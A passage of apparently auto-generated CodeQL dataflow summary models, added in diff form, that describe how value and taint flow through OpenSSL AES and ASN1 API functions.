*,unsigned char *,int *,const int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb1_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[*0]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "AES_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[*3].Field[*rd_key].Union[*(unnamed class/struct/union)]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[*3].Field[*rd_key].Union[*(unnamed class/struct/union)]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[0]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_cfb8_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *,const int)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "AES_ige_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,const int)", "", "Argument[*0]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "AES_ige_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,const int)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_ige_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,const int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *)", "", "Argument[*4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *)", "", "Argument[*5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *)", "", "Argument[0]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *)", "", "Argument[4]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *)", "", "Argument[5]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "AES_ofb128_encrypt", "(const unsigned char *,unsigned char *,size_t,const AES_KEY *,unsigned char *,int *)", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "AES_unwrap_key", "(AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int)", "", "Argument[*3]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "AES_unwrap_key", "(AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "AES_unwrap_key", "(AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "AES_unwrap_key", "(AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int)", "", "Argument[4]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "AES_unwrap_key", "(AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int)", "", "Argument[4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "AES_wrap_key", "(AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int)", "", "Argument[*1]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "AES_wrap_key", "(AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int)", "", "Argument[*3]", "Argument[*2]", "value", "dfc-generated"] + - ["", "", True, "AES_wrap_key", "(AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int)", "", "Argument[1]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "AES_wrap_key", "(AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "AES_wrap_key", "(AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int)", "", "Argument[3]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "AES_wrap_key", "(AES_KEY *,const unsigned char *,unsigned char *,const unsigned char *,unsigned int)", "", "Argument[4]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASIdOrRange_free", "(ASIdOrRange *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASIdOrRange_free", "(ASIdOrRange *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASIdentifierChoice_free", "(ASIdentifierChoice *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASIdentifierChoice_free", "(ASIdentifierChoice *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASIdentifiers_free", "(ASIdentifiers *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASIdentifiers_free", "(ASIdentifiers *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_BIT_STRING_get_bit", "(const ASN1_BIT_STRING *,int)", "", "Argument[*0].Field[**data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_BIT_STRING_get_bit", "(const ASN1_BIT_STRING *,int)", "", "Argument[*0].Field[*data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_BIT_STRING_get_bit", "(const ASN1_BIT_STRING *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_BIT_STRING_num_asc", "(const char *,BIT_STRING_BITNAME *)", "", "Argument[*1].Field[*bitnum]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_BIT_STRING_set", "(ASN1_BIT_STRING *,unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_BIT_STRING_set", "(ASN1_BIT_STRING *,unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_BIT_STRING_set", "(ASN1_BIT_STRING *,unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ASN1_BIT_STRING_set_asc", "(ASN1_BIT_STRING *,const char *,int,BIT_STRING_BITNAME *)", "", "Argument[*3].Field[*bitnum]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_BIT_STRING_set_asc", "(ASN1_BIT_STRING *,const char *,int,BIT_STRING_BITNAME *)", "", "Argument[*3].Field[*bitnum]", "Argument[*0].Field[*length]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_BIT_STRING_set_bit", "(ASN1_BIT_STRING *,int,int)", "", "Argument[1]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_BIT_STRING_set_bit", "(ASN1_BIT_STRING *,int,int)", "", "Argument[1]", "Argument[*0].Field[*length]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_ENUMERATED_get", "(const ASN1_ENUMERATED *)", "", "Argument[*0].Field[**data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_ENUMERATED_get", "(const ASN1_ENUMERATED *)", "", "Argument[*0].Field[*data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_ENUMERATED_get_int64", "(int64_t *,const ASN1_ENUMERATED *)", "", "Argument[*1].Field[**data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_ENUMERATED_get_int64", "(int64_t *,const ASN1_ENUMERATED *)", "", "Argument[*1].Field[*data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_ENUMERATED_set", "(ASN1_ENUMERATED *,long)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_ENUMERATED_set_int64", "(ASN1_ENUMERATED *,int64_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_ENUMERATED_to_BN", "(const ASN1_ENUMERATED *,BIGNUM *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_ENUMERATED_to_BN", "(const ASN1_ENUMERATED *,BIGNUM *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_GENERALIZEDTIME_adj", "(ASN1_GENERALIZEDTIME *,time_t,int,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_GENERALIZEDTIME_adj", "(ASN1_GENERALIZEDTIME *,time_t,int,long)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_GENERALIZEDTIME_dup", "(const ASN1_GENERALIZEDTIME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASN1_GENERALIZEDTIME_dup", "(const ASN1_GENERALIZEDTIME *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_GENERALIZEDTIME_dup", "(const ASN1_GENERALIZEDTIME *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_GENERALIZEDTIME_dup", "(const ASN1_GENERALIZEDTIME *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_GENERALIZEDTIME_dup", "(const ASN1_GENERALIZEDTIME *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_GENERALIZEDTIME_set", "(ASN1_GENERALIZEDTIME *,time_t)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_GENERALIZEDTIME_set", "(ASN1_GENERALIZEDTIME *,time_t)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_GENERALIZEDTIME_set_string", "(ASN1_GENERALIZEDTIME *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_GENERALIZEDTIME_set_string", "(ASN1_GENERALIZEDTIME *,const char *)", "", "Argument[1]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_INTEGER_cmp", "(const ASN1_INTEGER *,const ASN1_INTEGER *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_INTEGER_cmp", "(const ASN1_INTEGER *,const ASN1_INTEGER *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_INTEGER_dup", "(const ASN1_INTEGER *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_INTEGER_get", "(const ASN1_INTEGER *)", "", "Argument[*0].Field[**data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_INTEGER_get", "(const ASN1_INTEGER *)", "", "Argument[*0].Field[*data]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_INTEGER_get_int64", "(int64_t *,const ASN1_INTEGER *)", "", "Argument[*1].Field[**data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_INTEGER_get_int64", "(int64_t *,const ASN1_INTEGER *)", "", "Argument[*1].Field[*data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_INTEGER_get_uint64", "(uint64_t *,const ASN1_INTEGER *)", "", "Argument[*1].Field[**data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_INTEGER_get_uint64", "(uint64_t *,const ASN1_INTEGER *)", "", "Argument[*1].Field[*data]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_INTEGER_set", "(ASN1_INTEGER *,long)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_INTEGER_set_int64", "(ASN1_INTEGER *,int64_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_INTEGER_set_uint64", "(ASN1_INTEGER *,uint64_t)", "", "Argument[1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_INTEGER_to_BN", "(const ASN1_INTEGER *,BIGNUM *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_INTEGER_to_BN", "(const ASN1_INTEGER *,BIGNUM *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_NULL_free", "(ASN1_NULL *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASN1_NULL_free", "(ASN1_NULL *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_OBJECT_create", "(int,unsigned char *,int,const char *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_OBJECT_create", "(int,unsigned char *,int,const char *,const char *)", "", "Argument[*3]", "ReturnValue[*].Field[**sn]", "value", "dfc-generated"] + - ["", "", True, "ASN1_OBJECT_create", "(int,unsigned char *,int,const char *,const char *)", "", "Argument[*4]", "ReturnValue[*].Field[**ln]", "value", "dfc-generated"] + - ["", "", True, "ASN1_OBJECT_create", "(int,unsigned char *,int,const char *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*nid]", "value", "dfc-generated"] + - ["", "", True, "ASN1_OBJECT_create", "(int,unsigned char *,int,const char *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_OBJECT_create", "(int,unsigned char *,int,const char *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_OBJECT_create", "(int,unsigned char *,int,const char *,const char *)", "", "Argument[2]", "ReturnValue[*].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ASN1_OBJECT_create", "(int,unsigned char *,int,const char *,const char *)", "", "Argument[3]", "ReturnValue[*].Field[**sn]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_OBJECT_create", "(int,unsigned char *,int,const char *,const char *)", "", "Argument[3]", "ReturnValue[*].Field[*sn]", "value", "dfc-generated"] + - ["", "", True, "ASN1_OBJECT_create", "(int,unsigned char *,int,const char *,const char *)", "", "Argument[4]", "ReturnValue[*].Field[**ln]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_OBJECT_create", "(int,unsigned char *,int,const char *,const char *)", "", "Argument[4]", "ReturnValue[*].Field[*ln]", "value", "dfc-generated"] + - ["", "", True, "ASN1_OCTET_STRING_cmp", "(const ASN1_OCTET_STRING *,const ASN1_OCTET_STRING *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_OCTET_STRING_cmp", "(const ASN1_OCTET_STRING *,const ASN1_OCTET_STRING *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_OCTET_STRING_dup", "(const ASN1_OCTET_STRING *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_OCTET_STRING_set", "(ASN1_OCTET_STRING *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_OCTET_STRING_set", "(ASN1_OCTET_STRING *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_OCTET_STRING_set", "(ASN1_OCTET_STRING *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ASN1_PCTX_get_cert_flags", "(const ASN1_PCTX *)", "", "Argument[*0].Field[*cert_flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_PCTX_get_flags", "(const ASN1_PCTX *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_PCTX_get_nm_flags", "(const ASN1_PCTX *)", "", "Argument[*0].Field[*nm_flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_PCTX_get_oid_flags", "(const ASN1_PCTX *)", "", "Argument[*0].Field[*oid_flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_PCTX_get_str_flags", "(const ASN1_PCTX *)", "", "Argument[*0].Field[*str_flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_PCTX_set_cert_flags", "(ASN1_PCTX *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*cert_flags]", "value", "dfc-generated"] + - ["", "", True, "ASN1_PCTX_set_flags", "(ASN1_PCTX *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "ASN1_PCTX_set_nm_flags", "(ASN1_PCTX *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*nm_flags]", "value", "dfc-generated"] + - ["", "", True, "ASN1_PCTX_set_oid_flags", "(ASN1_PCTX *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*oid_flags]", "value", "dfc-generated"] + - ["", "", True, "ASN1_PCTX_set_str_flags", "(ASN1_PCTX *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*str_flags]", "value", "dfc-generated"] + - ["", "", True, "ASN1_PRINTABLE_free", "(ASN1_STRING *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASN1_PRINTABLE_free", "(ASN1_STRING *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_SCTX_get_app_data", "(ASN1_SCTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_SCTX_get_app_data", "(ASN1_SCTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "ASN1_SCTX_get_app_data", "(ASN1_SCTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_SCTX_get_flags", "(ASN1_SCTX *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_SCTX_get_item", "(ASN1_SCTX *)", "", "Argument[*0].Field[**it]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ASN1_SCTX_get_item", "(ASN1_SCTX *)", "", "Argument[*0].Field[*it]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_SCTX_get_template", "(ASN1_SCTX *)", "", "Argument[*0].Field[**tt]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ASN1_SCTX_get_template", "(ASN1_SCTX *)", "", "Argument[*0].Field[*tt]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_SCTX_new", "(..(*)(..))", "", "Argument[0]", "ReturnValue[*].Field[*scan_cb]", "value", "dfc-generated"] + - ["", "", True, "ASN1_SCTX_set_app_data", "(ASN1_SCTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***app_data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_SCTX_set_app_data", "(ASN1_SCTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**app_data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_SCTX_set_app_data", "(ASN1_SCTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*app_data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_cmp", "(const ASN1_STRING *,const ASN1_STRING *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_STRING_cmp", "(const ASN1_STRING *,const ASN1_STRING *)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_STRING_copy", "(ASN1_STRING *,const ASN1_STRING *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_STRING_data", "(ASN1_STRING *)", "", "Argument[*0].Field[**data]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_data", "(ASN1_STRING *)", "", "Argument[*0].Field[*data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_dup", "(const ASN1_STRING *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_STRING_get0_data", "(const ASN1_STRING *)", "", "Argument[*0].Field[**data]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_get0_data", "(const ASN1_STRING *)", "", "Argument[*0].Field[*data]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_length", "(const ASN1_STRING *)", "", "Argument[*0].Field[*length]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_length_set", "(ASN1_STRING *,int)", "", "Argument[1]", "Argument[*0].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_print_ex", "(BIO *,const ASN1_STRING *,unsigned long)", "", "Argument[*1].Field[*length]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_STRING_print_ex_fp", "(FILE *,const ASN1_STRING *,unsigned long)", "", "Argument[*1].Field[*length]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set0", "(ASN1_STRING *,void *,int)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set0", "(ASN1_STRING *,void *,int)", "", "Argument[1]", "Argument[*0].Field[*data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set0", "(ASN1_STRING *,void *,int)", "", "Argument[2]", "Argument[*0].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set", "(ASN1_STRING *,const void *,int)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set", "(ASN1_STRING *,const void *,int)", "", "Argument[1]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set", "(ASN1_STRING *,const void *,int)", "", "Argument[2]", "Argument[*0].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set_by_NID", "(ASN1_STRING **,const unsigned char *,int,int,int)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_STRING_set_by_NID", "(ASN1_STRING **,const unsigned char *,int,int,int)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set_by_NID", "(ASN1_STRING **,const unsigned char *,int,int,int)", "", "Argument[*1]", "Argument[**0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set_by_NID", "(ASN1_STRING **,const unsigned char *,int,int,int)", "", "Argument[*1]", "ReturnValue[*].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set_by_NID", "(ASN1_STRING **,const unsigned char *,int,int,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set_by_NID", "(ASN1_STRING **,const unsigned char *,int,int,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set_by_NID", "(ASN1_STRING **,const unsigned char *,int,int,int)", "", "Argument[1]", "Argument[**0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set_by_NID", "(ASN1_STRING **,const unsigned char *,int,int,int)", "", "Argument[1]", "ReturnValue[*].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set_by_NID", "(ASN1_STRING **,const unsigned char *,int,int,int)", "", "Argument[2]", "Argument[**0].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_set_by_NID", "(ASN1_STRING **,const unsigned char *,int,int,int)", "", "Argument[2]", "ReturnValue[*].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_type", "(const ASN1_STRING *)", "", "Argument[*0].Field[*type]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_STRING_type_new", "(int)", "", "Argument[0]", "ReturnValue[*].Field[*type]", "value", "dfc-generated"] + - ["", "", True, "ASN1_TIME_adj", "(ASN1_TIME *,time_t,int,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_TIME_adj", "(ASN1_TIME *,time_t,int,long)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_TIME_diff", "(int *,int *,const ASN1_TIME *,const ASN1_TIME *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_TIME_diff", "(int *,int *,const ASN1_TIME *,const ASN1_TIME *)", "", "Argument[*2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ASN1_TIME_diff", "(int *,int *,const ASN1_TIME *,const ASN1_TIME *)", "", "Argument[*3]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ASN1_TIME_diff", "(int *,int *,const ASN1_TIME *,const ASN1_TIME *)", "", "Argument[*3]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ASN1_TIME_dup", "(const ASN1_TIME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASN1_TIME_dup", "(const ASN1_TIME *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_TIME_dup", "(const ASN1_TIME *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_TIME_dup", "(const ASN1_TIME *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "ASN1_TIME_dup", "(const ASN1_TIME *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "ASN1_TIME_free", "(ASN1_TIME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "ASN1_TIME_free", "(ASN1_TIME *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "ASN1_TIME_normalize", "(ASN1_TIME *)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "ASN1_TIME_set", "(ASN1_TIME *,time_t)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_TIME_set", "(ASN1_TIME *,time_t)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ASN1_TIME_set_string", "(ASN1_TIME *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_TIME_set_string", "(ASN1_TIME *,const char *)", "", "Argument[1]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_TIME_set_string_X509", "(ASN1_TIME *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "ASN1_TIME_set_string_X509", "(ASN1_TIME *,const char *)", "", "Argument[1]", "Argument[*0].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "ASN1_TIME_to_generalizedtime", "(const ASN1_TIME *,ASN1_GENERALIZEDTIME **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "ASN1_TIME_to_generalizedtime", "(const ASN1_TIME *,ASN1_GENERALIZEDTIME **)", "", "Argument[*1]", "ReturnValue", "value", 